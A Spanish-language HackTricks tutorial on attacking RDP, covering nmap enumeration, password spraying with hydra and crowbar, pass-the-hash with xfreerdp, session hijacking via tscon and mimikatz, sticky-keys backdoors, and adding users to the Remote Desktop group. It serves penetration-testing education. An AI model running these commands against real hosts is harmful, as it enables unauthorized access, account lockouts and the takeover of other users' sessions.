# 3389 - Pentesting RDP
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para investigar a fondo, obtener shells y divertirse. {% embed url="https://pentest-tools.com/" %} ## Información Básica El Protocolo de **Escritorio Remoto** (**RDP**) es un protocolo propietario desarrollado por Microsoft, que proporciona a un usuario una interfaz gráfica para conectarse a otro ordenador a través de una conexión de red. El usuario utiliza el software cliente **RDP** para este propósito, mientras que el otro ordenador debe ejecutar el software servidor **RDP** (de [aquí](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)). **Puerto predeterminado:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` ## Enumeración ### Automática {% code overflow="wrap" %} ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` {% endcode %} Comprueba la encriptación disponible y la vulnerabilidad a DoS (sin causar DoS al servicio) y obtiene información de NTLM Windows (versiones). ### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#rdp) **Ten cuidado, podrías bloquear cuentas** ### **Rociado de contraseñas** **Ten cuidado, podrías bloquear cuentas** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ### Conectar con credenciales/hash conocidos ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### Verificar credenciales conocidas contra servicios RDP rdp\_check.py de impacket te permite verificar si algunas credenciales son válidas para un servicio RDP: ```bash rdp_check /:@ ```
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la generación de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles tiempo para investigar más a fondo, obtener shells y divertirse. {% embed url="https://pentest-tools.com/" %} ## **Ataques** ### Robo de sesión Con permisos de **SYSTEM** puedes acceder a cualquier **sesión RDP abierta por cualquier usuario** sin necesidad de conocer la contraseña del propietario. **Obtener sesiones abiertas:** ``` query user ``` **Acceso a la sesión seleccionada** ```bash tscon /dest: ``` Ahora estarás dentro de la sesión RDP seleccionada y habrás suplantado a un usuario utilizando solo herramientas y características de Windows. **Importante**: Cuando accedas a sesiones RDP activas, expulsarás al usuario que la estaba utilizando. Podrías obtener contraseñas del proceso volcándolo, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin haberse guardado en disco, otras sesiones RDP abiertas en otras máquinas...) #### **Mimikatz** También podrías usar mimikatz para hacer esto: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión de RDP en cualquier momento** Puedes buscar RDPs que han sido comprometidos con una de estas técnicas ya con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### Inyección de Proceso en RDP Si alguien de un dominio diferente o con **mejores privilegios inicia sesión vía RDP** en el PC donde **eres Admin**, puedes **inyectar** tu beacon en su **proceso de sesión de RDP** y actuar como él: {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) {% endcontent-ref %} ### Agregar Usuario al grupo de RDP ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` ## Herramientas Automáticas * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) **AutoRDPwn** es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque **Shadow** en computadoras con Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto **ver el escritorio de su víctima sin su consentimiento**, e incluso controlarlo a demanda, utilizando herramientas nativas del propio sistema operativo. * [**EvilRDP**](https://github.com/skelsec/evilrdp) * Controlar el ratón y el teclado de manera automatizada desde la línea de comandos * Controlar el portapapeles de manera automatizada desde la línea de comandos * Crear un proxy SOCKS desde el cliente que canaliza la comunicación de red hacia el objetivo a través de RDP * Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos * Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo ## Comandos Automáticos de HackTricks ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for RDP Note: | Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software https://book.hacktricks.xyz/pentesting/pentesting-rdp Entry_2: Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ```
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles tiempo para investigar más a fondo, obtener shells y divertirse. {% embed url="https://pentest-tools.com/" %}
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).